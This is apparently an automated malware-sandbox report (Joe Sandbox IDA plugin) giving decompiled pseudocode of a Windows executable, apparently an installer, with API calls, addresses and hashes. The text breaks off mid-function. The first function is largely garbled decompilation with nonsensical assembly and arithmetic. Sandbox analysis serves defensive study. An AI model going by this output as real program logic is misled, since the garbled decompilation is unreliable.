				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed char _t368;
				signed int _t371;
				signed int _t373;
				signed int _t375;
				signed char _t376;
				signed char _t377;
				signed int _t378;
				void* _t379;
				void* _t382;
				void* _t386;
				void* _t390;
				void* _t400;
				void* _t401;
				intOrPtr* _t405;
				void* _t406;
				void* _t407;
				signed int _t409;
				signed char _t410;
				signed char _t411;
				void* _t412;
				void* _t413;
				intOrPtr* _t424;
				signed char _t427;
				intOrPtr* _t428;
				void* _t432;
				void* _t443;
				void* _t444;
				signed int* _t447;
				signed int _t452;
				signed int* _t454;
				signed int* _t455;
				signed int _t458;
				signed int _t459;
				intOrPtr* _t464;
				void* _t466;
				intOrPtr* _t467;
				signed int _t468;
				signed int _t471;
				signed int _t472;
				void* _t474;
				void* _t475;
				void* _t478;
				void* _t479;
				signed int* _t480;
				signed int* _t481;
				void* _t484;
				void* _t486;
				signed int _t489;
				void* _t492;
				void* _t493;
				signed int _t494;
				void* _t495;
				void* _t496;
				signed int _t497;
				signed int _t500;
				signed int _t502;
				void* _t511;
				intOrPtr _t513;
				void* _t524;
				signed int _t568;
				intOrPtr* _t572;
				intOrPtr* _t574;
				intOrPtr* _t576;
				signed int _t588;

				_t494 = __esi;
				_t492 = __edi;
				_t489 = __edx;
				_t427 = __ebx;
				_t361 =  *((intOrPtr*)(__eax + 0x70))();
				 *((intOrPtr*)(_t361 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t361 + 0x41 + __esi * 2)) + __ebx;
				 *((intOrPtr*)(_t361 + 0x70c00041 + __esi * 2)) =  *((intOrPtr*)(_t361 + 0x70c00041 + __esi * 2)) + __ebx;
				_t432 = __ecx + 2;
				 *_t361 =  *_t361 + __edx;
				if( *_t361 >= 0) {
					L7:
					asm("aam 0x76");
					_t432 = _t432 + 1;
				} else {
					 *_t361 =  *_t361 + __edx;
					if( *_t361 >= 0) {
						asm("hlt");
						if(_t511 <= 0) {
							_t362 = _t361;
							if(_t524 >= 0) {
								_a65 = _a65 | _t427;
							} else {
								_t424 = _t362 + _t489;
								goto L29;
							}
						} else {
							 *_t361 =  *_t361 + _t432;
							if( *_t361 > 0) {
								L29:
								asm("aam 0x79");
								_t484 = _t432 + 1;
							} else {
								 *((intOrPtr*)(_t361 + 0x77)) =  *((intOrPtr*)(_t361 + 0x77)) + _t432;
								_t432 = _t432 + 1;
								 *((intOrPtr*)(_t492 + 0x41 + _t494 * 2)) =  *((intOrPtr*)(_t492 + 0x41 + _t494 * 2)) + _t427;
								_t54 = _t361 + 0x18004177;
								 *_t54 =  *((intOrPtr*)(_t361 + 0x18004177)) + _t427;
								_t513 =  *_t54;
								goto L12;
							}
						}
					} else {
						 *((intOrPtr*)(_t361 + 0x71)) =  *((intOrPtr*)(_t361 + 0x71)) + __edx;
						_t432 = _t432 + 1;
						 *((intOrPtr*)(_t432 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t432 + 0x41 + __esi * 2)) + __edx;
						_t22 = _t361 - 0x43ffbe8f;
						 *_t22 =  *((intOrPtr*)(_t361 - 0x43ffbe8f)) + __ebx;
						if( *_t22 >= 0) {
							L12:
							_t424 = _t361;
							if(_t513 > 0) {
								 *(_t432 + 0x41) =  *(_t432 + 0x41) | _t427;
							} else {
								 *_t424 =  *_t424 + _t427;
								goto L14;
							}
						} else {
							_t424 = _t361 + _t361;
							if(_t424 >= 0) {
								L14:
								asm("sbb [eax+0x41], bh");
							} else {
								 *((intOrPtr*)(__edx + __esi * 2)) =  *((intOrPtr*)(__edx + __esi * 2)) + __ebx;
								_t486 = _t432 + 1;
								 *((intOrPtr*)(__edx + 0x72cc0041 + __esi * 2)) =  *((intOrPtr*)(__edx + 0x72cc0041 + __esi * 2)) + _t486;
								_t432 = _t486 + 1;
								_t362 = _t424 + _t424;
								if(_t362 < 0) {
									 *(_t432 + 0x41) =  *(_t432 + 0x41) + _t489;
								} else {
									_t34 = _t362 - 0x27ffbe8c;
									 *_t34 =  *((intOrPtr*)(_t362 - 0x27ffbe8c)) + __ebx;
									if( *_t34 == 0) {
										 *(_t362 + 0x41) =  *(_t362 + 0x41) >> 0;
										asm("enter 0x4178, 0x0");
									} else {
										 *((intOrPtr*)(_t496 + 0x75a40041 + __esi * 2)) =  *((intOrPtr*)(_t496 + 0x75a40041 + __esi * 2)) + _t362;
										 *((intOrPtr*)(_t362 + 0x76)) =  *((intOrPtr*)(_t362 + 0x76)) + _t362;
										 *((intOrPtr*)(_t362 + 0x76)) =  *((intOrPtr*)(_t362 + 0x76)) + _t362;
										_t432 = _t432 + 3;
										_t361 = _t362 + __edx;
										goto L7;
									}
								}
							}
						}
					}
				}
				_t365 = _t364 + _t489;
				_t493 = _t492 - 1;
				_t444 = _t443 + 1;
				 *((intOrPtr*)(_t365 + _t489 * 2)) =  *((intOrPtr*)(_t365 + _t489 * 2)) + _t444;
				 *_t365 =  *_t365 + _t427;
				_t495 = _t494 + 1;
				 *_t365 =  *_t365 + _t489;
				_push(_t365);
				_t447 = _t444 + 3;
				 *_t365 =  *_t365 + _t489;
				 *_t447 = _t365;
				 *_t365 =  *_t365 + _t365;
				asm("lldt sp");
				_t366 =  *_t447;
				 *_t447 = _t365;
				asm("andps xmm0, [edi+0x72]");
				asm("popad");
				if( *_t365 < 0) {
					L94:
					 *((intOrPtr*)(_t502 + _t489 * 2 - 0x476bffbf)) =  *((intOrPtr*)(_t502 + _t489 * 2 - 0x476bffbf)) + _t447;
					_t366 = _t366 + 1;
					 *((intOrPtr*)(_t493 + _t366)) =  *((intOrPtr*)(_t493 + _t366)) + _t366;
					_t447 =  &(_t447[0]);
					 *((intOrPtr*)(_t366 - 0x7ffbebb)) =  *((intOrPtr*)(_t366 - 0x7ffbebb)) + _t447;
					goto L95;
				} else {
					_t502 =  *(_t427 + 0x43) * 0x72746e6f;
					asm("outsd");
					asm("insb");
					_pop(es);
					asm("andps xmm0, [edi+0x72]");
					asm("popad");
					if(_t502 < 0) {
						L95:
						asm("clc");
						_pop(_t427);
						_t367 = _t366 + _t427;
						 *_t367 =  *_t367 + _t367;
						_pop(es);
						 *_t367 =  *_t367 + _t427;
						_pop(es);
						_t452 =  &(_t447[0]) - 1 + 3;
						 *((intOrPtr*)(_t427 + _t452 * 4)) =  *((intOrPtr*)(_t427 + _t452 * 4)) + _t427;
						 *((intOrPtr*)(_t489 + _t367 * 4 - 0x7d23ffbf)) =  *((intOrPtr*)(_t489 + _t367 * 4 - 0x7d23ffbf)) + _t427;
						_t447 = _t452 + 2;
						 *_t367 =  *_t367 + _t489;
						 *_t447 =  *_t447 + E00414470;
					} else {
						_t502 =  *(_t427 + 0x43) * 0x72746e6f;
						asm("outsd");
						asm("insb");
						_t367 = _t366 + _t366;
						 *_t447 =  *_t447 ^ _t367;
						 *_t367 =  *_t367 | _t367;
						_t211 = _t427 + 0x6f;
						 *_t211 =  *(_t427 + 0x6f) | _t367;
						_t568 =  *_t211;
						asm("outsb");
						if(_t568 != 0) {
							asm("outsd");
							asm("insb");
							if (_t568 >= 0) goto L93;
							 *((intOrPtr*)(_t427 + 0xc0)) =  *((intOrPtr*)(_t427 + 0xc0)) + _t447;
							 *_t367 =  *_t367 + _t367;
							 *_t367 =  *_t367 + _t367;
							_t409 = _t447 + _t367 ^ 0x00000041;
							 *_t409 =  *_t409 + _t409;
							 *_t409 =  *_t409 + _t409;
							 *_t409 =  *_t409 + _t409;
							 *0x35d80041 =  *0x35d80041 << 1;
							_t480 =  &(_t447[0]);
							 *_t409 =  *_t409 + _t409;
							 *_t409 =  *_t409 + _t409;
							_t410 = _t409 + _t427;
							 *_t480 =  *_t480 ^ _t410;
							_t411 = _t410 | 0x0000006c;
							_t481 =  &(_t480[0]);
							 *_t411 =  *_t411 + _t481;
							_t412 = _t411 - 0x40;
							 *((intOrPtr*)(_t412 + 0x2c)) =  *((intOrPtr*)(_t412 + 0x2c)) + _t489;
							_t413 = _t412 + 1;
							 *((intOrPtr*)(_t413 - 0x75)) =  *((intOrPtr*)(_t413 - 0x75)) + _t489;
							_t447 =  &(_t481[0]);
							 *((intOrPtr*)(_t413 - 0x47)) =  *((intOrPtr*)(_t413 - 0x47)) + _t427;
							_t366 = _t413 + 1;
							goto L94;
						}
					}
				}
				 *((intOrPtr*)(0x4ac40041 + _t367 * 2)) =  *((intOrPtr*)(0x4ac40041 + _t367 * 2)) + _t367;
				_t454 =  &(_t447[0]);
				_t368 = _t367 + _t367;
				_push(0x41);
				 *((intOrPtr*)(_t454 + _t368 * 4 - 0x7e33ffbf)) =  *((intOrPtr*)(_t454 + _t368 * 4 - 0x7e33ffbf)) + _t368;
				_t455 =  &(_t454[0]);
				 *((intOrPtr*)(_t368 - 0x4fffbe83)) =  *((intOrPtr*)(_t368 - 0x4fffbe83)) + _t427;
				 *_t455 =  *_t455 + E00415FD8;
				asm("arpl [ecx], ax");
				asm("sbb [esi+0x41], ah");
				_t371 = (_t368 | 0x00000067) + _t489 + _t427;
				 *((intOrPtr*)(_t495 + 0x665c0041)) =  *((intOrPtr*)(_t495 + 0x665c0041)) + _t489;
				_t458 =  &(_t455[0]);
				 *((intOrPtr*)(_t427 + 0x7fe80041 + _t458 * 4)) =  *((intOrPtr*)(_t427 + 0x7fe80041 + _t458 * 4)) + _t371;
				_t459 = _t458 + 1;
				 *((intOrPtr*)(_t489 + 0x41 + _t371 * 4)) =  *((intOrPtr*)(_t489 + 0x41 + _t371 * 4)) + _t459;
				_t373 =  *_t459;
				 *_t373 =  *_t373 + _t373;
				asm("ltr word [ebx+ecx*4+0x540e0041]");
				_t428 = _t427 + 1;
				_t572 = _t428;
				if(_t572 != 0) {
					L106:
					_t373 = _t373 + 7;
					_t459 = _t459 + 1;
					L107:
					 *((intOrPtr*)(_t373 - 0x7ffbebb)) =  *((intOrPtr*)(_t373 - 0x7ffbebb)) + _t459;
					goto L108;
				} else {
					if(_t572 == 0) {
						L105:
						_t373 = _t373 + 1;
						 *((intOrPtr*)(_t493 + _t373)) =  *((intOrPtr*)(_t493 + _t373)) + _t373;
						goto L106;
					} else {
						asm("insd");
						_t428 = _t428 + 1;
						asm("outsd");
						asm("outsb");
						if(_t428 == 0) {
							L108:
							_pop(_t428);
							_t373 = _t373 + _t428 + _t428;
							_t459 = _t459 + 1 - 1 + 1;
							goto L109;
						} else {
							asm("outsd");
							asm("insb");
							_pop(es);
							_push(cs);
							_push(_t502);
							_t428 = _t428 + 1;
							_t574 = _t428;
							if(_t574 != 0) {
								L110:
								_pop(es);
								 *_t373 =  *_t373 + _t428;
								_pop(es);
								_t459 = _t459 + 2;
								 *((intOrPtr*)(_t373 + _t459 * 4)) =  *((intOrPtr*)(_t373 + _t459 * 4)) + _t489;
								goto L111;
							} else {
								if(_t574 == 0) {
									L109:
									 *_t373 =  *_t373 + _t373;
									goto L110;
								} else {
									asm("insd");
									_t428 = _t428 + 1;
									asm("outsd");
									asm("outsb");
									if(_t428 == 0) {
										L111:
										_t375 = _t373 ^ 0x00000088;
										 *((intOrPtr*)(_t489 + _t375 * 4 - 0x7d23ffbf)) =  *((intOrPtr*)(_t489 + _t375 * 4 - 0x7d23ffbf)) + _t428;
										_t464 = _t459 + 2;
										 *_t375 =  *_t375 + _t489;
										 *_t464 =  *_t464 + E00414470;
									} else {
										asm("outsd");
										asm("insb");
										_push(_t373);
										_t375 = _t373 ^ 0x34080041;
										_t464 = _t459 + 1;
										 *_t464 =  *_t464 + _t464;
										 *_t375 =  *_t375 + _t464;
										_t428 = _t428 + 1;
										_t576 = _t428;
										asm("outsd");
										asm("outsb");
										if(_t576 != 0) {
											asm("outsd");
											asm("insb");
											if (_t576 >= 0) goto L104;
											_a64 = _a64 + _t464;
											 *_t375 =  *_t375 + _t375;
											 *_t375 =  *_t375 + _t375;
											 *_t375 =  *_t375 + _t375;
											asm("loopne 0x38");
											_t475 = _t464 + 1;
											 *_t375 =  *_t375 + _t375;
											 *_t375 =  *_t375 + _t375;
											 *_t375 =  *_t375 + _t375;
											 *_t375 =  *_t375 + _t375;
											_t405 = _t375 + _t475 + _t489;
											 *_t405 =  *_t405 + _t405;
											 *_t405 =  *_t405 + _t405;
											 *((intOrPtr*)(_t405 + 0x35)) =  *((intOrPtr*)(_t405 + 0x35)) + _t489;
											_t478 = _t475 + 3;
											 *((intOrPtr*)(_t502 + _t497 * 2)) =  *((intOrPtr*)(_t502 + _t497 * 2)) + _t478;
											_t479 = _t478 + 1;
											 *_t405 =  *_t405 + _t479;
											_t406 = _t405 - 0x40;
											 *((intOrPtr*)(_t406 + 0x2c)) =  *((intOrPtr*)(_t406 + 0x2c)) + _t489;
											_t407 = _t406 + 1;
											 *((intOrPtr*)(_t407 - 0x75)) =  *((intOrPtr*)(_t407 - 0x75)) + _t489;
											_t459 = _t479 + 1;
											 *((intOrPtr*)(_t407 - 0x47)) =  *((intOrPtr*)(_t407 - 0x47)) + _t428;
											_t373 = _t407 + 1;
											 *((intOrPtr*)(_t502 + _t489 * 2 - 0x476bffbf)) =  *((intOrPtr*)(_t502 + _t489 * 2 - 0x476bffbf)) + _t459;
											goto L105;
										}
									}
								}
							}
						}
					}
				}
				 *((intOrPtr*)(0x4ac40041 + _t375 * 2)) =  *((intOrPtr*)(0x4ac40041 + _t375 * 2)) + _t375;
				_t466 = _t464 + 2;
				_t376 = _t375 + _t375;
				_push(0x41);
				 *((intOrPtr*)(_t466 + _t376 * 4 - 0x7e33ffbf)) =  *((intOrPtr*)(_t466 + _t376 * 4 - 0x7e33ffbf)) + _t376;
				_t467 = _t466 + 1;
				 *((intOrPtr*)(_t376 - 0x4fffbe83)) =  *((intOrPtr*)(_t376 - 0x4fffbe83)) + _t428;
				 *_t467 =  *_t467 + E00415FD8;
				_t377 = _t376 | 0x00000067;
				_t468 = _t467 + 1;
				 *((intOrPtr*)(_t377 + 0x66180041 + _t468 * 4)) =  *((intOrPtr*)(_t377 + 0x66180041 + _t468 * 4)) + _t489;
				_t378 = _t377 + _t428;
				 *((intOrPtr*)(_t495 + 0x665c0041)) =  *((intOrPtr*)(_t495 + 0x665c0041)) + _t489;
				_t471 = _t468 + 3;
				 *((intOrPtr*)(_t428 + 0x7fe80041 + _t471 * 4)) =  *((intOrPtr*)(_t428 + 0x7fe80041 + _t471 * 4)) + _t378;
				_t459 = _t471 + 1;
				 *((intOrPtr*)(_t489 + 0x41 + _t378 * 4)) =  *((intOrPtr*)(_t489 + 0x41 + _t378 * 4)) + _t459;
				_t379 = _t378 + _t378;
				 *_t459 = _t379;
				asm("insb");
				_t373 =  *_t459;
				if(_t379 == 0) {
					goto L107;
				}
				_t472 = _t459 + 1;
				 *_t472 =  *_t472 + _t373;
				 *_t489 =  *_t489 + _t489;
				_t380 = 0xe0;
				 *_t472 = 0xe0;
				asm("outsb");
				if((_t489 |  *(0xe0 + 0x69 + _t472 * 2)) == 0) {
					L119:
					asm("lock mov eax, [ebp+0x8]");
					if((GetWindowLongA(_t380, ??) & 0x40000000) != 0 && GetWindowLongA(_a8, 0xfffffff4) == 0) {
						SetWindowLongA(_a8, 0xfffffff4, _a8);
					}
					_t382 =  *0x48c2dc; // 0x0
					_push(_t382);
					_push( *0x48d5c8 & 0x0000ffff);
				} else {
					_push(_t502);
					_t380 = 0xdf;
					_t500 =  *(_t495 + 0x74) * 0x646e6957;
					asm("outsd");
					if(_t500 > 0) {
						goto L119;
					} else {
						_t474 = _t472 + 1;
						_t338 = _t428 + 0x6f;
						 *_t338 =  *(_t428 + 0x6f) | 0xdf + _t474 ^ 0x00090041;
						_t588 =  *_t338;
						asm("outsb");
						if(_t588 != 0) {
							asm("outsd");
							asm("insb");
							if (_t588 >= 0) goto L117;
							 *((intOrPtr*)(_t428 - 0x1374aa40)) =  *((intOrPtr*)(_t428 - 0x1374aa40)) + _t474;
							_push(_t500);
							_push(_t474);
							_push(_t428);
							_t428 =  &_a8;
							_t400 =  *0x48c2dc; // 0x0
							 *((intOrPtr*)(_t400 + 0xc0)) = _a20;
							_t401 =  *0x48c2dc; // 0x0
							_t380 = SetWindowLongA(_a20, 0xfffffffc,  *(_t401 + 0xa8));
							_push(0xfffffff0);
							goto L119;
						}
					}
				}
				SetPropA(_a8, ??, ??);
				_t386 =  *0x48c2dc; // 0x0
				SetPropA(_a8,  *0x48d5c6 & 0x0000ffff, _t386);
				_t390 =  *0x48c2dc; // 0x0
				 *0x48c2dc = 0; // executed
				_v4 =  *((intOrPtr*)(_t390 + 0xa8))(_a8, _a12, _a16, _a20);
				return  *_t428;
			}

0x004132e1
0x004132e1
0x004132e1
0x004132e1
0x004132e1
0x004132e5
0x004132e9
0x004132f0
0x004132f1
0x004132f3
0x00413336
0x00413336
0x00413338
0x004132f5
0x004132f5
0x004132f7
0x0041333a
0x0041333b
0x0041337e
0x0041337f
0x004133c2
0x00413381
0x00413381
0x00000000
0x00413381
0x0041333d
0x0041333d
0x0041333f
0x00413382
0x00413382
0x00413384
0x00413341
0x00413341
0x00413344
0x00413345
0x00413349
0x00413349
0x00413349
0x00000000
0x00413349
0x0041333f
0x004132f9
0x004132f9
0x004132fc
0x004132fd
0x00413301
0x00413301
0x00413307
0x0041334a
0x0041334a
0x0041334b
0x0041338e
0x0041334d
0x0041334d
0x00000000
0x0041334d
0x00413309
0x00413309
0x0041330b
0x0041334e
0x0041334e
0x0041330d
0x0041330d
0x00413310
0x00413311
0x00413318
0x00413319
0x0041331b
0x0041335e
0x0041331d
0x0041331d
0x0041331d
0x00413323
0x00413366
0x0041336a
0x00413325
0x00413325
0x0041332d
0x00413331
0x00413334
0x00413335
0x00000000
0x00413335
0x00413323
0x0041331b
0x0041330b
0x00413307
0x004132f7
0x004134c7
0x004134c9
0x004134ca
0x004134cb
0x004134cf
0x004134d1
0x004134d3
0x004134d5
0x004134d6
0x004134d7
0x004134d9
0x004134dc
0x004134de
0x004134e1
0x004134e1
0x004134e4
0x004134e8
0x004134e9
0x00413553
0x00413553
0x0041355a
0x0041355b
0x0041355e
0x0041355f
0x00000000
0x004134eb
0x004134eb
0x004134f2
0x004134f3
0x004134f4
0x004134f5
0x004134f9
0x004134fa
0x00413564
0x00413564
0x00413565
0x00413567
0x0041356b
0x0041356d
0x0041356f
0x00413571
0x00413572
0x00413573
0x00413577
0x0041357e
0x0041357f
0x00413581
0x004134fc
0x004134fc
0x00413503
0x00413504
0x00413508
0x0041350a
0x0041350d
0x0041350f
0x0041350f
0x0041350f
0x00413512
0x00413513
0x00413515
0x00413516
0x00413517
0x00413519
0x0041351f
0x00413521
0x00413525
0x0041352a
0x0041352c
0x0041352e
0x00413530
0x00413536
0x00413537
0x00413539
0x0041353b
0x0041353d
0x00413540
0x00413542
0x00413543
0x00413545
0x00413547
0x0041354a
0x0041354b
0x0041354e
0x0041354f
0x00413552
0x00000000
0x00413552
0x00413513
0x004134fa
0x00413587
0x0041358e
0x0041358f
0x00413591
0x00413593
0x0041359a
0x0041359b
0x004135a1
0x004135ad
0x004135b0
0x004135b3
0x004135b7
0x004135be
0x004135bf
0x004135c6
0x004135c7
0x004135cd
0x004135d0
0x004135d2
0x004135da
0x004135da
0x004135db
0x00413650
0x00413650
0x00413652
0x00413653
0x00413653
0x00000000
0x004135dd
0x004135dd
0x0041364e
0x0041364e
0x0041364f
0x00000000
0x004135df
0x004135df
0x004135e0
0x004135e1
0x004135e2
0x004135e3
0x00413657
0x00413659
0x0041365b
0x0041365e
0x00000000
0x004135e5
0x004135e5
0x004135e6
0x004135e8
0x004135e9
0x004135ea
0x004135eb
0x004135eb
0x004135ec
0x00413661
0x00413661
0x00413663
0x00413665
0x00413666
0x00413667
0x00000000
0x004135ee
0x004135ee
0x0041365f
0x0041365f
0x00000000
0x004135f0
0x004135f0
0x004135f1
0x004135f2
0x004135f3
0x004135f4
0x00413668
0x00413668
0x0041366b
0x00413672
0x00413673
0x00413675
0x004135f6
0x004135f6
0x004135f7
0x004135f8
0x004135f9
0x004135fe
0x004135ff
0x00413601
0x00413603
0x00413603
0x00413604
0x00413605
0x00413606
0x00413608
0x00413609
0x0041360a
0x0041360c
0x00413612
0x00413614
0x00413616
0x00413618
0x0041361a
0x0041361b
0x0041361d
0x0041361f
0x00413621
0x00413627
0x0041362b
0x0041362d
0x0041362f
0x00413632
0x00413633
0x00413636
0x00413637
0x00413639
0x0041363b
0x0041363e
0x0041363f
0x00413642
0x00413643
0x00413646
0x00413647
0x00000000
0x00413647
0x00413606
0x004135f4
0x004135ee
0x004135ec
0x004135e3
0x004135dd
0x0041367b
0x00413682
0x00413683
0x00413685
0x00413687
0x0041368e
0x0041368f
0x00413695
0x0041369c
0x0041369e
0x0041369f
0x004136a7
0x004136ab
0x004136b2
0x004136b3
0x004136ba
0x004136bb
0x004136bf
0x004136c1
0x004136c4
0x004136c5
0x004136c8
0x00000000
0x00000000
0x004136ca
0x004136cb
0x004136cd
0x004136cf
0x004136d1
0x004136d8
0x004136d9
0x00413732
0x00413732
0x00413741
0x0041375c
0x0041375c
0x00413761
0x00413766
0x0041376e
0x004136db
0x004136e2
0x004136e3
0x004136e4
0x004136eb
0x004136ec
0x00000000
0x004136ee
0x004136ee
0x004136f7
0x004136f7
0x004136f7
0x004136fa
0x004136fb
0x004136fd
0x004136fe
0x004136ff
0x00413701
0x00413704
0x00413707
0x00413708
0x00413709
0x0041370c
0x00413714
0x0041371a
0x0041372c
0x00413731
0x00000000
0x00413731
0x004136fb
0x004136ec
0x00413773
0x00413778
0x0041378a
0x0041379b
0x004137a1
0x004137b1
0x004137b9

APIs

SetWindowLongA.USER32 ref: 0041372C
GetWindowLongA.USER32 ref: 00413737
GetWindowLongA.USER32 ref: 00413749
SetWindowLongA.USER32 ref: 0041375C
SetPropA.USER32(?,00000000,00000000), ref: 00413773
SetPropA.USER32(?,00000000,00000000), ref: 0041378A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 97bfe80bf8ee61432f76a670240df73225b07710b5e5d004723aad7e8a8e2c71
Instruction ID: 55001cc95f3aa9d9a1c45ff4a94f0120d729eeb625f187ff4b383852b5e02246
Opcode Fuzzy Hash: 97bfe80bf8ee61432f76a670240df73225b07710b5e5d004723aad7e8a8e2c71
Instruction Fuzzy Hash: B2120EA148E3C05FE7278B74896A5D07F60EE1332571941DFC5C28F1A3D61D8A8BC76A

Uniqueness

Uniqueness Score: -1.00%

Function 00474A14 Relevance: 9.1, APIs: 6, Instructions: 149
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00474A14(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, char _a8, char _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				struct _WIN32_FIND_DATAA _v344;
				char _v348;
				char _v352;
				void* _t62;
				signed char _t103;
				int _t106;
				intOrPtr* _t115;
				intOrPtr _t126;
				intOrPtr _t137;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t144 = _t145;
				_t146 = _t145 + 0xfffffea4;
				_v348 = 0;
				_v352 = 0;
				_v12 = 0;
				_v8 = __ecx;
				_t140 = __edx;
				_t142 = __eax;
				_t115 = _a4;
				_push(_t144);
				_push(0x474c10);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				_push(__eax);
				_push(__edx);
				_push(_v8);
				E0040377C();
				 *((intOrPtr*)(_t115 + 4)) = 0;
				 *_t115 = 0;
				_t62 = FindFirstFileA(E00403880(_v12),  &_v344); // executed
				_v16 = _t62;
				if(_v16 != 0xffffffff) {
					do {
						_t103 = _v344.dwFileAttributes;
						if((_t103 & 0x00000010) == 0 && (_a12 == 0 || (_t103 & 0x00000002) == 0)) {
							_v20 = _v344.nFileSizeHigh;
							_v24 = _v344.nFileSizeLow;
							E004300E0(_t115,  &_v24);
						}
						_t106 = FindNextFileA(_v16,  &_v344); // executed
					} while (_t106 != 0);
					FindClose(_v16); // executed
				}
				if(_a8 == 0) {
					L14:
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x474c17);
					E00403568( &_v352, 2);
					return E00403548( &_v12);
				} else {
					E004035DC( &_v348, _t142);
					E004036C4( &_v348, _t140);
					E004036C4( &_v348, 0x474c28);
					_v16 = FindFirstFileA(E00403880(_v348),  &_v344);
					if(_v16 == 0xffffffff) {
						goto L14;
					} else {
						_push(_t144);
						_push(0x474be3);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						do {
							if(E00472AE8( &_v344) != 0) {
								E004035DC( &_v348, _t140);
								E004036A4( &_v352, 0x104,  &(_v344.cFileName));
								E004036C4( &_v348, _v352);
								E004036C4( &_v348, 0x474c34);
								E00474A14(_t142, _t115, _v8, _v348, _t140, _t142,  &_v24, _a8, _a12, _a16);
								E004300E0(_t115,  &_v24);
							}
						} while (FindNextFileA(_v16,  &_v344) != 0);
						_pop(_t137);
						 *[fs:eax] = _t137;
						_push(0x474bea);
						return FindClose(_v16);
					}
				}
			}

0x00474a15
0x00474a17
0x00474a22
0x00474a28
0x00474a2e
0x00474a31
0x00474a34
0x00474a36
0x00474a38
0x00474a3d
0x00474a3e
0x00474a43
0x00474a46
0x00474a49
0x00474a4a
0x00474a4b
0x00474a56
0x00474a5d
0x00474a62
0x00474a74
0x00474a79
0x00474a80
0x00474a82
0x00474a82
0x00474a8a
0x00474a9c
0x00474aa5
0x00474aad
0x00474aad
0x00474abd
0x00474ac2
0x00474aca
0x00474aca
0x00474ad3
0x00474bea
0x00474bec
0x00474bef
0x00474bf2
0x00474c02
0x00474c0f
0x00474ad9
0x00474ae8
0x00474af5
0x00474b05
0x00474b1b
0x00474b22
0x00000000
0x00474b28
0x00474b2a
0x00474b2b
0x00474b30
0x00474b33
0x00474b36
0x00474b43
0x00474b5d
0x00474b73
0x00474b84
0x00474b94
0x00474ba4
0x00474baf
0x00474baf
0x00474bc4
0x00474bce
0x00474bd1
0x00474bd4
0x00474be2
0x00474be2
0x00474b22

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,?,00000000,00474C10), ref: 00474A74
FindNextFileA.KERNEL32(000000FF,?,00000000,?,?,?,?,00000000,00474C10), ref: 00474ABD
FindClose.KERNEL32(000000FF,000000FF,?,00000000,?,?,?,?,00000000,00474C10), ref: 00474ACA
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,?,00000000,00474C10), ref: 00474B16
FindNextFileA.KERNEL32(000000FF,?,00000000,00474BE3,?,00000000,?,00000000,?,?,?,?,00000000,00474C10), ref: 00474BBF
FindClose.KERNEL32(000000FF,00474BEA,00474BE3,?,00000000,?,00000000,?,?,?,?,00000000,00474C10), ref: 00474BDD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 23f3463f48b63caa86debf7b542b8fc010e328c30f9e1a37102d144d0df4a682
Instruction ID: 6d75daa855672c9e67831e63b57356653e92e783bb5012b3bdaf98fb221fdef6
Opcode Fuzzy Hash: 23f3463f48b63caa86debf7b542b8fc010e328c30f9e1a37102d144d0df4a682
Instruction Fuzzy Hash: 16515F71900658AFCB21DF65CC45AEEB7BCEB88315F1084AAA408E7381D7389F85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0046CA68 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0046CA68(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				struct _WIN32_FIND_DATAA _v328;
				char _v332;
				void* _t42;
				void* _t79;
				intOrPtr _t88;
				void* _t98;

				_v332 = 0;
				_v8 = 0;
				_push(_t98);
				_push(0x46cbba);
				_push( *[fs:eax]);
				 *[fs:eax] = _t98 + 0xfffffeb8;
				E0042C4C4( *((intOrPtr*)(_a4 - 4)),  &_v332);
				E004036C4( &_v332, "unins???.*");
				_t42 = FindFirstFileA(E00403880(_v332),  &_v328); // executed
				_t79 = _t42;
				if(_t79 == 0xffffffff) {
					L10:
					_pop(_t88);
					 *[fs:eax] = _t88;
					_push(0x46cbc1);
					E00403548( &_v332);
					return E00403548( &_v8);
				} else {
					goto L1;
				}
				do {
					L1:
					E004036A4( &_v8, 0x104,  &(_v328.cFileName));
					if(E004036BC(_v8) >= 9) {
						E004038C0(_v8, 5, 1,  &_v332);
